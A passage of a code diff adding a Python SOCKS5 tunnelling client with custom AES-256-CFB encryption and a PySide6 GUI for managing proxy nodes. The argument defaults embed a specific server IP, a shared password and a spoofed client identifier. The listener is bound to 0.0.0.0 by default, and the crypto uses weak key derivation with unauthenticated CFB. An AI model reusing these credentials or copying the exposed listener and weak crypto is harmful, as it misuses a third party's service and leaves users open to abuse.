document for TCP/UDP directions.""" + + @staticmethod + def encode_tcp(atyp: int, host: str, port: int) -> bytes: + """Encode address using custom type values (ATYP+0x60). + + 0x61 IPv4, 0x63 Domain, 0x64 IPv6 + """ + if atyp == 0x01: # IPv4 + atyp_out = 0x61 + host_bytes = ipaddress.IPv4Address(host).packed + elif atyp == 0x03: # Domain + atyp_out = 0x63 + host_ascii = host.encode("utf-8") + if len(host_ascii) > 255: + raise Socks5Error("Domain too long for single-byte length") + host_bytes = bytes([len(host_ascii)]) + host_ascii + elif atyp == 0x04: # IPv6 + atyp_out = 0x64 + host_bytes = ipaddress.IPv6Address(host).packed + else: + raise Socks5Error(f"Unsupported ATYP {atyp:#x}") + return bytes([atyp_out]) + host_bytes + struct.pack("!H", port) + + @staticmethod + def encode_udp(atyp: int, host: str, port: int) -> bytes: + """Encode address using **standard SOCKS5** values for UDP.""" + if atyp == 0x01: + host_bytes = ipaddress.IPv4Address(host).packed + elif atyp == 0x03: + host_ascii = host.encode("utf-8") + if len(host_ascii) > 255: + raise Socks5Error("Domain too long for single-byte length") + host_bytes = bytes([len(host_ascii)]) + host_ascii + elif atyp == 0x04: + host_bytes = ipaddress.IPv6Address(host).packed + else: + raise Socks5Error(f"Unsupported ATYP {atyp:#x}") + return bytes([atyp]) + host_bytes + struct.pack("!H", port) + + + +class UdpAssociation: + + def __init__(self, cfg: Config, key: bytes) -> None: + self.cfg = cfg + self.key = key + self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.sock.bind((cfg.listen_host, 0)) # ephemeral port per association + self.sock.setblocking(False) + self.remote_tuple = (cfg.remote_host, cfg.remote_port) + # Map the last client (host,port) per destination address-block to route replies + self._dst_to_client: Dict[bytes, Tuple[str, int]] = {} + self._dst_ttl: Dict[bytes, float] = {} + self._last_client: Optional[Tuple[str, int]] = None + + @property + def bind_addr(self) -> Tuple[str, int]: + return self.sock.getsockname() + + def close(self) -> None: + try: + self.sock.close() + except Exception: + pass + + async def run(self) -> None: + loop = asyncio.get_running_loop() + while True: + try: + data, addr = await loop.sock_recvfrom(self.sock, 65536) + except (asyncio.CancelledError, RuntimeError): + break + except Exception as e: + logging.warning("UDP recv error: %s", e) + continue + + try: + if addr == self.remote_tuple: + await self._handle_from_remote(data) + else: # from local app + await self._handle_from_local(data, addr) + except Exception as e: + logging.debug("UDP handle error: %s", e) + + # Periodic cleanup for map TTL + now = time.time() + expired = [k for k, t in self._dst_ttl.items() if now - t > self.cfg.udp_timeout] + for k in expired: + self._dst_ttl.pop(k, None) + self._dst_to_client.pop(k, None) + + async def _handle_from_local(self, data: bytes, client_addr: Tuple[str, int]) -> None: + # Parse SOCKS5 UDP Request + if len(data) < 3: + return + rsv, frag = data[:2], data[2] + if rsv != b"\x00\x00" or frag != 0: + # We don't support fragmentation; RFC says FRAG must be 0 + return + buf = memoryview(data)[3:] + if not buf: + return + atyp = buf[0] + idx = 1 + try: + if atyp == 0x01: # IPv4 + host = socket.inet_ntop(socket.AF_INET, bytes(buf[idx: idx+4])) + idx += 4 + elif atyp == 0x03: + ln = buf[idx] + idx += 1 + host = bytes(buf[idx: idx+ln]).decode('utf-8', 'strict') + idx += ln + elif atyp == 0x04: + host = socket.inet_ntop(socket.AF_INET6, bytes(buf[idx: idx+16])) + idx += 16 + else: + return + port = struct.unpack('!H', bytes(buf[idx: idx+2]))[0] + idx += 2 + except Exception: + return + + payload = bytes(buf[idx:]) # rest is DATA + addr_block = AddressEncoder.encode_udp(atyp, host, port) + + # Route mapping for reply + self._dst_to_client[addr_block] = client_addr + self._dst_ttl[addr_block] = time.time() + self._last_client = client_addr + + # Build SS UDP: IV + CFB128([addr][payload]) + iv = os.urandom(16) + cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128) + ct = cipher.encrypt(addr_block + payload) + out = iv + ct + try: + await asyncio.get_running_loop().sock_sendto(self.sock, out, self.remote_tuple) + except Exception as e: + logging.debug("UDP send remote failed: %s", e) + + async def _handle_from_remote(self, data: bytes) -> None: + if len(data) < 16: + return + iv, ct = data[:16], data[16:] + cipher = AES.new(self.key, AES.MODE_CFB, iv=iv, segment_size=128) + plain = cipher.decrypt(ct) + + # plain = [ATYP|ADDR|PORT|PAYLOAD] + mv = memoryview(plain) + atyp = mv[0] + idx = 1 + try: + if atyp == 0x01: + addr_len = 4 + idx2 = idx + addr_len + host_bytes = bytes(mv[idx:idx2]) + host = socket.inet_ntop(socket.AF_INET, host_bytes) + idx = idx2 + elif atyp == 0x03: + ln = mv[idx] + idx += 1 + host = bytes(mv[idx: idx+ln]).decode('utf-8', 'strict') + idx += ln + elif atyp == 0x04: + addr_len = 16 + idx2 = idx + addr_len + host_bytes = bytes(mv[idx:idx2]) + host = socket.inet_ntop(socket.AF_INET6, host_bytes) + idx = idx2 + else: + return + port = struct.unpack('!H', bytes(mv[idx: idx+2]))[0] + idx += 2 + except Exception: + return + + addr_block = AddressEncoder.encode_udp(int(atyp), host, int(port)) + payload = bytes(mv[idx:]) + + # Pick destination client + client = self._dst_to_client.get(addr_block) or self._last_client + if not client: + return + + # Wrap back into SOCKS5 UDP Response: RSV|FRAG(0)|addr|payload + resp = b"\x00\x00\x00" + addr_block + payload + try: + await asyncio.get_running_loop().sock_sendto(self.sock, resp, client) + except Exception as e: + logging.debug("UDP send local failed: %s", e) + + +# --------------------------- TCP connection logic -------------------------- # + +class TcpBridge: + """Bridge one local SOCKS5 connection to the remote server with encryption.""" + + def __init__(self, cfg: Config, client_reader: asyncio.StreamReader, client_writer: asyncio.StreamWriter) -> None: + + self.cfg = cfg + self.client_reader = client_reader + self.client_writer = client_writer + self.server_reader: Optional[asyncio.StreamReader] = None + self.server_writer: Optional[asyncio.StreamWriter] = None + self._down_dec: Optional[AesCfbStream] = None # server -> client + self._up_enc: Optional[AesCfbStream] = None # client -> server + self._udp_assoc: Optional[UdpAssociation] = None + # Global cache for DNS A records and a reusable UDP socket for resolving + self._dns_cache: TTLCache = TTLCache(maxsize=4096, ttl=300) + self._dns_udp_tunnel: Optional[UdpAssociation] = None + + async def _resolve_host_udp(self, host: str, key: bytes) -> str: + """Resolve a hostname to an IP using a cached, reused UDP association.""" + if host in self._dns_cache: + cached_ip = self._dns_cache[host] + logging.debug(f"DNS cache hit for {host} -> {cached_ip}") + return cached_ip + + logging.debug(f"Resolving {host} via UDP tunnel...") + if self._dns_udp_tunnel is None: + self._dns_udp_tunnel = UdpAssociation(self.cfg, key) + + udp_assoc = self._dns_udp_tunnel + loop = asyncio.get_running_loop() + try: + q = DNSRecord(q=DNSQuestion(host, QTYPE.A)) + query_payload = q.pack() + addr_block = AddressEncoder.encode_udp(0x01, "8.8.8.8", 53) + iv = os.urandom(16) + cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) + ct = cipher.encrypt(addr_block + query_payload) + out = iv + ct + await loop.sock_sendto(udp_assoc.sock, out, udp_assoc.remote_tuple) + + data, _ = await asyncio.wait_for( + loop.sock_recvfrom(udp_assoc.sock, 65536), + timeout=self.cfg.connect_timeout + ) + + if len(data) < 16: + raise Socks5Error("UDP DNS response too short") + iv, ct = data[:16], data[16:] + cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128) + plain = cipher.decrypt(ct) + + mv = memoryview(plain) + atyp = mv[0] + idx = 1 + try: + if atyp == 0x01: + idx += 4 + 2 + elif atyp == 0x04: + idx += 16 + 2 + else: + raise Socks5Error(f"Unexpected ATYP {atyp} in DNS UDP response") + except Exception as e: + raise Socks5Error(f"Failed to parse DNS UDP response header: {e}") + + dns_response_payload = bytes(mv[idx:]) + resp = DNSRecord.parse(dns_response_payload) + + for rr in resp.rr: + if rr.rtype == QTYPE.A: + ip = str(rr.rdata) + logging.debug(f"Resolved {host} to {ip}, caching.") + self._dns_cache[host] = ip + return ip + + raise Socks5Error(f"Could not resolve A record for {host}") + + except asyncio.TimeoutError: + raise Socks5Error(f"DNS query for {host} timed out") + except Exception: + # If the tunnel fails, close it so a new one is created next time. + if self._dns_udp_tunnel: + self._dns_udp_tunnel.close() + self._dns_udp_tunnel = None + raise + + async def run(self) -> None: + key = kdf_pseudo_evp_bytes_to_key(self.cfg.password.encode("utf-8")) + try: + await socks5_handshake(self.client_reader, self.client_writer) + req = await socks5_read_request(self.client_reader) + + if req.cmd == 0x01: # CONNECT + await self._handle_connect(req, key) + elif req.cmd == 0x03: # UDP ASSOCIATE + await self._handle_udp_associate(key) + else: + raise Socks5Error("Unsupported CMD (only CONNECT, UDP ASSOCIATE)") + except Exception as e: + logging.exception("Bridge error: %s", e) + finally: + try: + self.client_writer.close() + await self.client_writer.wait_closed() + except Exception: + pass + try: + if self.server_writer: + self.server_writer.close() + await self.server_writer.wait_closed() + except Exception: + pass + if self._udp_assoc: + self._udp_assoc.close() + if self._dns_udp_tunnel: + self._dns_udp_tunnel.close() + + async def _handle_connect(self, req: Socks5Request, key: bytes) -> None: + # For domain names, decide whether to resolve via UDP or pass through + if req.atyp == 0x03: # Domain + # Check if the requested host matches our special list for UDP DNS resolution + should_resolve_udp = any(req.host.endswith(domain) for domain in DOMAIN_LISTS) + + if should_resolve_udp: + logging.debug(f"Host {req.host} is in DOMAIN_LISTS, resolving via UDP DNS.") + try: + resolved_ip = await self._resolve_host_udp(req.host, key) + # Mutate the request to use the resolved IP + req.host = resolved_ip + req.atyp = 0x01 # IPv4 + except Exception as e: + logging.error(f"DNS resolution failed for {req.host}: {e}") + # Send failure reply to client + socks5_reply(self.client_writer, 0x04, "0.0.0.0", 0) # Host unreachable + await self.client_writer.drain() + return + else: + logging.debug(f"Host {req.host} not in DOMAIN_LISTS, passing through as domain.") + # For other domains, we pass them directly to the server. + # req.atyp remains 0x03, and req.host is the domain name. + pass + + # Establish remote TCP + await self._connect_remote() + + # First upstream body: [address][mx_head_str] + addr = AddressEncoder.encode_tcp(req.atyp, req.host, req.port) + mx = self._encode_mx(self.cfg.mx_head_str) + first_body = addr + mx + + # Send: [client_iv][ciphertext(first_body)] + client_iv = os.urandom(16) + self._up_enc = AesCfbStream(key, client_iv) + assert self.server_writer is not None + self.server_writer.write(client_iv + self._up_enc.encrypt(first_body)) + await self.server_writer.drain() + + # Reply success to local app + socks5_reply(self.client_writer, 0x00, "0.0.0.0", 0) + await self.client_writer.drain() + + # Start pipes + await asyncio.gather(self._pipe_upstream(), self._pipe_downstream(key)) + + async def _handle_udp_associate(self, key: bytes) -> None: + # Create per-association UDP socket and start loop + self._udp_assoc = UdpAssociation(self.cfg, key) + bind_host, bind_port = self._udp_assoc.bind_addr + + # Reply with the UDP relay address for this association + socks5_reply(self.client_writer, 0x00, bind_host, bind_port) + await self.client_writer.drain() + + # Run UDP loop while TCP control stays open (client closes to end association) + try: + await asyncio.gather( + self._udp_assoc.run(), + self._consume_until_eof(self.client_reader), # hold the control channel open + ) + finally: + self._udp_assoc.close() + + async def _consume_until_eof(self, reader: asyncio.StreamReader) -> None: + while await reader.read(1024): + pass + + async def _connect_remote(self) -> None: + # Use a custom socket to enable TCP Fast Open + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + # TCP_FASTOPEN is available on Linux 3.7+, macOS 10.11+, Windows 10+ + # The value 5 is a queue size, as per Linux docs. + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_FASTOPEN, 5) + except (OSError, AttributeError): + logging.debug("TCP Fast Open not supported on this system.") + pass # Ignore if not supported + + sock.setblocking(False) + + try: + await asyncio.wait_for( + asyncio.get_running_loop().sock_connect(sock, (self.cfg.remote_host, self.cfg.remote_port)), + timeout=self.cfg.connect_timeout + ) + except asyncio.TimeoutError: + sock.close() + raise Socks5Error("Connection timed out") + except Exception as e: + sock.close() + raise e + + self.server_reader, self.server_writer = await asyncio.open_connection(sock=sock) + + # Set other TCP options for performance + sock = self.server_writer.get_extra_info("socket") + if sock: + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20) + # Loopback Fast Path (Windows 8+) + try: + SIO_LOOPBACK_FAST_PATH = 0x98000010 + sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1) + except (OSError, AttributeError): + pass # Ignore if not supported + # Set TCP options for performance + sock = self.server_writer.get_extra_info("socket") + if sock: + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 20) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1 << 20) + # Loopback Fast Path (Windows 8+) + try: + SIO_LOOPBACK_FAST_PATH = 0x98000010 + sock.ioctl(SIO_LOOPBACK_FAST_PATH, 1) + except (OSError, AttributeError): + pass # Ignore if not supported + + async def _pipe_upstream(self) -> None: + """Local -> Remote. After first packet, we stream pure ciphertext.""" + assert self._up_enc is not None and self.server_writer is not None + while True: + data = await self.client_reader.read(self.cfg.recv_buf) + if not data: + break + ct = self._up_enc.encrypt(data) + self.server_writer.write(ct) + # With TFO, the first write might happen before the connection is fully established. + # A drain is needed to ensure data is sent after the handshake completes. + # For subsequent writes, we also drain when the buffer is large. + if self.server_writer.transport.get_write_buffer_size() > (1 << 20): # 1MiB + await self.server_writer.drain() + + async def _pipe_downstream(self, key: bytes) -> None: + """Remote -> Local. First read yields [server_iv][ciphertext], then pure ciphertext.""" + assert self.server_reader is not None + # Read until we've got at least 16 bytes for server IV + buf = bytearray() + while len(buf) < 16: + chunk = await self.server_reader.read(self.cfg.recv_buf) + if not chunk: + return # server closed early + buf += chunk + server_iv, rest = bytes(buf[:16]), bytes(buf[16:]) + self._down_dec = AesCfbStream(key, server_iv) + # Decrypt any remaining data from the first read + if rest: + try: + self.client_writer.write(self._down_dec.decrypt(rest)) + await self.client_writer.drain() + except Exception: + return + # Continue streaming ciphertext only + while True: + data = await self.server_reader.read(self.cfg.recv_buf) + if not data: + break + pt = self._down_dec.decrypt(data) + self.client_writer.write(pt) + await self.client_writer.drain() + + @staticmethod + def _encode_mx(mx: str) -> bytes: + s = mx.encode("utf-8") + if len(s) > 255: + raise ValueError("mx_head_str too long (max 255)") + return bytes([len(s)]) + s + + +# ------------------------------ Server loop -------------------------------- # + +async def handle_client(cfg: Config, reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None: + peer = writer.get_extra_info("peername") + logging.info("Client from %s", peer) + bridge = TcpBridge(cfg, reader, writer) + await bridge.run() + + +async def run_server(cfg: Config) -> None: + server = await asyncio.start_server(lambda r, w: handle_client(cfg, r, w), host=cfg.listen_host, port=cfg.listen_port) + addrs = ", ".join(str(sock.getsockname()) for sock in server.sockets or []) + logging.info("Listening on %s (SOCKS5)", addrs) + async with server: + await server.serve_forever() + + +def parse_args() -> Config: + p = argparse.ArgumentParser(description="Custom AES-256-CFB SS-like client (TCP)") + p.add_argument("--remote-host", default="121.14.152.149", help="Remote server hostname or IP") + p.add_argument("--remote-port", type=int,default="10004", help="Remote server TCP port") + p.add_argument("--password", default="dwz1GtF7", help="Shared password") + p.add_argument("--mx", dest="mx_head_str", default="com.win64.oppc.game.common:22021709,102024080020541279", help="Fixed mx_head_str") + p.add_argument("--listen", default="0.0.0.0", help="Local listen host (default 127.0.0.1)") + p.add_argument("--port", dest="listen_port", type=int, default=10807, help="Local listen port (default 1080)") + p.add_argument("--log", default="INFO", help="Logging level (DEBUG/INFO/WARNING/ERROR)") + args = p.parse_args() + logging.basicConfig(level=getattr(logging, args.log.upper(), logging.INFO), format="%(asctime)s %(levelname)s: %(message)s") + return Config( + remote_host=args.remote_host, + remote_port=args.remote_port, + password=args.password, + mx_head_str=args.mx_head_str, + listen_host=args.listen, + listen_port=args.listen_port, + ) + + +def main() -> None: + cfg = parse_args() + try: + asyncio.run(run_server(cfg)) + except KeyboardInterrupt: + pass + + +if __name__ == "__main__": + main() diff --git a/python/ss_modern.py b/python/ss_modern.py new file mode 100644 index 0000000..f2c901f --- /dev/null +++ b/python/ss_modern.py @@ -0,0 +1,974 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +现代化 GUI(PySide6)用于管控 ss_client_aes256cfb.py / ss.exe + +主要改进: +- QMainWindow 架构:工具栏 + 状态栏 + 分栏布局(左侧节点 / 右侧选项卡) +- 主题:支持明亮 / 暗黑,一键切换;一致圆角与留白;统一字号 +- 节点管理:搜索过滤(实时)、拖拽排序、右键菜单(重命名/复制/导出) +- 测速展示:列表中显示彩色时延(绿/黄/红/灰),一眼可见 +- 操作提升:Clipboard 导入、导入/导出、打开配置文件夹、Toast 提示 +- 稳健性:表单校验、启动/停止按钮状态同步、QProcess 合并输出、线程清理 + +依赖: + pip install PySide6 requests PySocks + +运行: + python ss_client_gui_qt_modern.py +""" +from __future__ import annotations + +import base64 +import json +import os +import random +import socket +import subprocess +import sys +import time +from dataclasses import dataclass, asdict, field +from pathlib import Path +from typing import Any, Dict, List, Optional, Tuple +from urllib.parse import parse_qs, unquote, urlparse + +import requests +from PySide6.QtCore import (QAbstractListModel, QCoreApplication, QEvent, QModelIndex, + QProcess, QSortFilterProxyModel, Qt, QThread, QRect, + QRegularExpression, Signal, Slot, QEasingCurve, QPropertyAnimation) +from PySide6.QtGui import (QAction, QColor, QIcon, QKeySequence, QPalette, + QStandardItemModel, QTextCursor) +from PySide6.QtWidgets import ( + QApplication, + QMainWindow, + QWidget, + QSplitter, + QListView, + QLineEdit, + QToolBar, + QStatusBar, + QStyle, + QFileDialog, + QFormLayout, + QSpinBox, + QHBoxLayout, + QVBoxLayout, + QPushButton, + QLabel, + QGroupBox, + QTabWidget, + QMessageBox, + QTextEdit, + QMenu, + QAbstractSpinBox, +) + +# ---------------------------- 常量与默认值 ---------------------------- # + +APP_NAME = "Galaxy Muxun Client" +CONFIG_FILE = (Path.home() / ".ss_client_gui.json") # 移到家目录更通用 +DEFAULT_SCRIPT = "ss.exe" # 开发态可换 "ss.py" +DEFAULT_TEST_URL = "http://www.gstatic.com/generate_204" +TEST_RANGE = (60000, 61000) # [low, high) + +# 时延彩色阈值(ms) +LATENCY_OK = 180.0 +LATENCY_WARN = 450.0 + +# ------------------------------ 数据模型 ------------------------------ # + +@dataclass +class Node: + """单个节点配置。""" + name: str + server: str + port: int + password: str + mx: str = "HELLO" + last_latency_ms: float = -1.0 # -1 表示未知/失败 + last_msg: str = "" + + +@dataclass +class LaunchConfig: + """全局配置与节点集合。""" + script_path: str + nodes: List[Node] = field(default_factory=list) + selected: int = 0 + listen_host: str = "127.0.0.1" + listen_port: int = 1080 + log_level: str = "INFO" + theme: str = "light" # light/dark + + +# ------------------------------ 工具函数 ------------------------------ # + +def app_base_dir() -> Path: + """获取应用基础目录。""" + return Path(sys.executable).parent if getattr(sys, "frozen", False) else Path(__file__).resolve().parent + + +def _default_script_path() -> str: + return str((app_base_dir() / DEFAULT_SCRIPT).resolve()) + + +def _resolve_cmd(script_path: str, extra_args: List[str]) -> List[str]: + """根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。""" + p = Path(script_path) + if not p.is_absolute(): + p = (app_base_dir() / p).resolve() + ext = p.suffix.lower() + if ext in (".exe", ".bat", ".cmd","mx"): + return [str(p), *extra_args] + if ext in (".py", ""): + return [sys.executable, str(p), *extra_args] + return [str(p), *extra_args] + + +def _b64_decode_padded(s: str) -> bytes: + """URL 安全 base64 解码,自动补齐 padding。""" + s = unquote(s.strip()) + pad = (-len(s)) % 4 + if pad: + s += "=" * pad + try: + import base64 as _b64 + return _b64.urlsafe_b64decode(s.encode("utf-8")) + except Exception: + return base64.b64decode(s.encode("utf-8") + b"==") + + +def parse_ss_uri(uri: str) -> Optional[Node]: + """解析 ss:// 链接(两种常见形式),支持 ?mx= 扩展。""" + try: + if not uri.startswith("ss://"): + return None + body = uri[5:] + if "@" in body and "://" not in body: + parsed = urlparse(uri.replace("ss://", "http://", 1)) + userinfo = parsed.username or "" + method, _, password = (userinfo or ":").partition(":") + host = parsed.hostname or "" + port = parsed.port or 0 + mx = (parse_qs(parsed.query or "").get("mx", [""])[0]) + tag = unquote(parsed.fragment or "") + name = tag or f"{host}:{port}" + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO") + # base64 形式 + if "#" in body: + b64, tag = body.split("#", 1) + tag = unquote(tag) + else: + b64, tag = body, "" + decoded = _b64_decode_padded(b64).decode("utf-8") + fake = "http://" + decoded + parsed2 = urlparse(fake) + method = parsed2.username or "" + password = parsed2.password or "" + host = parsed2.hostname or "" + port = parsed2.port or 0 + mx = (parse_qs(parsed2.query or "").get("mx", [""])[0]) + name = tag or f"{host}:{port}" + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO") + except Exception: + return None + + +def parse_ssr_uri(uri: str) -> Optional[Node]: + """解析 ssr:// 链接,提取 server/port/method/password/remarks。""" + try: + if not uri.startswith("ssr://"): + return None + payload = uri[6:] + decoded = _b64_decode_padded(payload).decode("utf-8") + main, _, qs = decoded.partition("/?") + parts = main.split(":") + if len(parts) < 6: + return None + host, port_str, _proto, method, _obfs, b64pass = parts[:6] + password = _b64_decode_padded(b64pass).decode("utf-8") + name = f"{host}:{port_str}" + if qs: + q = parse_qs(qs) + if "remarks" in q: + try: + name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name + except Exception: + pass + if method and method.lower() != "aes-256-cfb": + name = f"{name} (method={method})" + return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO") + except Exception: + return None + + +def _pick_free_port(low: int, high: int) -> int: + """在 [low, high) 里随机挑一个可绑定的端口。""" + for _ in range(50): + p = random.randint(low, high - 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + s.bind(("127.0.0.1", p)) + return p + except OSError: + continue + return low + + +def _wait_port_open(host: str, port: int, timeout: float) -> bool: + """等待端口可连接。""" + t0 = time.time() + while time.time() - t0 < timeout: + try: + with socket.create_connection((host, port), timeout=0.3): + return True + except OSError: + time.sleep(0.05) + return False + + +# ------------------------------ 线程:测速 ------------------------------ # + +class LatencyWorker(QThread): + """真实链路测速:起本地代理→SOCKS5 拉取 generate_204→计时。""" + result = Signal(int, float, str) # (index, latency_ms or -1, message) + + def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR", + url: str = DEFAULT_TEST_URL) -> None: + super().__init__() + self.index = index + self.node = node + self.script_path = script_path + self.log_level = log_level + self.url = url + self.proc: Optional[subprocess.Popen] = None + self.local_port: int = 0 + + def run(self) -> None: + """线程入口。""" + try: + self.local_port = _pick_free_port(*TEST_RANGE) + core_args = [ + "--remote-host", self.node.server, + "--remote-port", str(self.node.port), + "--password", self.node.password, + "--mx", self.node.mx, + "--listen", "0.0.0.0", + "--port", str(self.local_port), + "--log", self.log_level, + ] + cmd = _resolve_cmd(self.script_path, core_args) + cwd = Path(cmd[0]).parent + creation = 0 + if os.name == "nt" and hasattr(subprocess, "CREATE_NO_WINDOW"): + creation = subprocess.CREATE_NO_WINDOW # type: ignore[attr-defined] + self.proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + creationflags=creation, + cwd=cwd, + ) + if not _wait_port_open("127.0.0.1", self.local_port, timeout=5.0): + raise RuntimeError("本地代理启动超时") + + proxies = { + "http": f"socks5h://127.0.0.1:{self.local_port}", + "https": f"socks5h://127.0.0.1:{self.local_port}", + } + t0 = time.time() + r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False) + if r.status_code not in (204, 200, 301, 302): + raise RuntimeError(f"HTTP {r.status_code}") + ms = (time.time() - t0) * 1000.0 + self.result.emit(self.index, ms, "ok") + except Exception as e: # noqa: BLE001 + self.result.emit(self.index, -1.0, str(e)) + finally: + if self.proc: + try: + self.proc.terminate() + try: + self.proc.wait(timeout=2.0) + except subprocess.TimeoutExpired: + self.proc.kill() + self.proc.wait(timeout=1.0) + except Exception: + pass + + +# ----------------------------- Model / Proxy ---------------------------- # + +class NodeListModel(QAbstractListModel): + """节点列表 Model,含时延状态。""" + def __init__(self, nodes: List[Node]) -> None: + super().__init__() + self._nodes = nodes + + # 拖拽排序支持 + def flags(self, index: QModelIndex) -> Qt.ItemFlags: # type: ignore[override] + fl = super().flags(index) | Qt.ItemIsDragEnabled | Qt.ItemIsDropEnabled | Qt.ItemIsEditable | Qt.ItemIsSelectable | Qt.ItemIsEnabled + return fl + + def supportedDropActions(self) -> Qt.DropActions: # type: ignore[override] + return Qt.MoveAction + + def rowCount(self, parent: QModelIndex = QModelIndex()) -> int: # type: ignore[override] + return 0 if parent.isValid() else len(self._nodes) + + def data(self, index: QModelIndex, role: int = Qt.DisplayRole) -> Any: # type: ignore[override] + if not index.isValid(): + return None + n = self._nodes[index.row()] + if role == Qt.DisplayRole: + lat = n.last_latency_ms + suffix = "— 测速中…" if lat == -2 else ("— 失败" if lat < 0 else f"— {lat:.0f} ms") + return f"{n.name} {suffix}" + if role == Qt.ForegroundRole: + lat = self._nodes[index.row()].last_latency_ms + if lat == -2: + return QColor("#6b7280") # slate-500 + if lat < 0: + return QColor("#ef4444") # red-500 + if lat <= LATENCY_OK: + return QColor("#10b981") # emerald-500 + if lat <= LATENCY_WARN: + return QColor("#f59e0b") # amber-500 + return QColor("#ef4444") + return None + + def setData(self, index: QModelIndex, value: Any, role: int = Qt.EditRole) -> bool: # type: ignore[override] + if not index.isValid() or role != Qt.EditRole: + return False + self._nodes[index.row()].name = str(value) + self.dataChanged.emit(index, index, [Qt.DisplayRole]) + return True + + def insertRow(self, row: int, node: Node) -> None: + self.beginInsertRows(QModelIndex(), row, row) + self._nodes.insert(row, node) + self.endInsertRows() + + def removeRow(self, row: int) -> None: + self.beginRemoveRows(QModelIndex(), row, row) + self._nodes.pop(row) + self.endRemoveRows() + + def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int, + destinationParent: QModelIndex, destinationChild: int) -> bool: # type: ignore[override] + if count != 1 or sourceParent.isValid() or destinationParent.isValid(): + return False + self.beginMoveRows(QModelIndex(), sourceRow, sourceRow, QModelIndex(), destinationChild) + node = self._nodes.pop(sourceRow) + if destinationChild > sourceRow: + destinationChild -= 1 + self._nodes.insert(destinationChild, node) + self.endMoveRows() + return True + + # 工具方法 + def node(self, row: int) -> Optional[Node]: + return self._nodes[row] if 0 <= row < len(self._nodes) else None + + def nodes(self) -> List[Node]: + return self._nodes + + +# ------------------------------ 主题 / 样式 ------------------------------ # + +def apply_theme(app: QApplication, theme: str = "light") -> None: + """应用明亮/暗黑主题(QPalette + QSS 细化)。""" + palette = QPalette() + if theme == "dark": + palette.setColor(QPalette.Window, QColor("#111827")) + palette.setColor(QPalette.Base, QColor("#0b1220")) + palette.setColor(QPalette.AlternateBase, QColor("#111827")) + palette.setColor(QPalette.Text, QColor("#e5e7eb")) + palette.setColor(QPalette.WindowText, QColor("#e5e7eb")) + palette.setColor(QPalette.Button, QColor("#1f2937")) + palette.setColor(QPalette.ButtonText, QColor("#f3f4f6")) + palette.setColor(QPalette.Highlight, QColor("#4f46e5")) + palette.setColor(QPalette.HighlightedText, QColor("#ffffff")) + else: + palette = app.palette() # 使用系统/默认浅色 + palette.setColor(QPalette.Highlight, QColor("#4f46e5")) + palette.setColor(QPalette.HighlightedText, QColor("#ffffff")) + + app.setPalette(palette) + + # 统一圆角、边框与控件间距(轻量级 QSS) + app.setStyleSheet(""" + QWidget { font-size: 12pt; } + QLineEdit, QTextEdit, QListView, QSpinBox { border: 1px solid #cbd5e1; border-radius: 8px; padding: 6px; } + QPushButton { border-radius: 8px; padding: 8px 12px; } + QPushButton:disabled { opacity: .6; } + QToolBar { spacing: 8px; padding: 6px; } + QStatusBar { padding: 4px; } + QGroupBox { border: 1px solid #e5e7eb; border-radius: 10px; margin-top: 10px; } + QGroupBox::title { subcontrol-origin: margin; left: 12px; padding: 0 4px; } + """) + + +# ------------------------------ Toast 提示 ------------------------------ # + +class Toast(QWidget): + """右下角浮动提示。""" + def __init__(self, parent: QWidget, text: str) -> None: + super().__init__(parent) + self.setWindowFlags(Qt.ToolTip | Qt.FramelessWindowHint) + self.setAttribute(Qt.WA_TransparentForMouseEvents) + self.label = QLabel(text, self) + self.label.setStyleSheet("QLabel { background: rgba(0,0,0,0.75); color: white; padding: 8px 12px; border-radius: 8px; }") + self.anim = QPropertyAnimation(self, b"windowOpacity", self) + self.anim.setDuration(1600) + self.anim.setStartValue(0.0) + self.anim.setKeyValueAt(0.1, 1.0) + self.anim.setEndValue(0.0) + self.anim.setEasingCurve(QEasingCurve.InOutQuad) + self.anim.finished.connect(self.close) + + def showEvent(self, _e) -> None: # noqa: N802 + self.resize(self.label.sizeHint()) + parent = self.parentWidget() + if parent: + geo = parent.geometry() + self.move(geo.right() - self.width() - 24, geo.bottom() - self.height() - 24) + self.anim.start() + + +def show_toast(parent: QWidget, text: str) -> None: + Toast(parent, text).show() + + +# ------------------------------ 主窗口 UI ------------------------------ # + +class MainWindow(QMainWindow): + """主窗口:工具栏 + 分栏 + 选项卡 + 状态栏。""" + + def __init__(self) -> None: + super().__init__() + self.setWindowTitle(APP_NAME) + if sys.platform.startswith("win"): + self.setWindowIcon(QIcon()) + self.proc: Optional[QProcess] = None + self.latency_threads: List[LatencyWorker] = [] + self.cfg = self._load_config() + + # 主题 + apply_theme(QApplication.instance(), self.cfg.theme) + + # 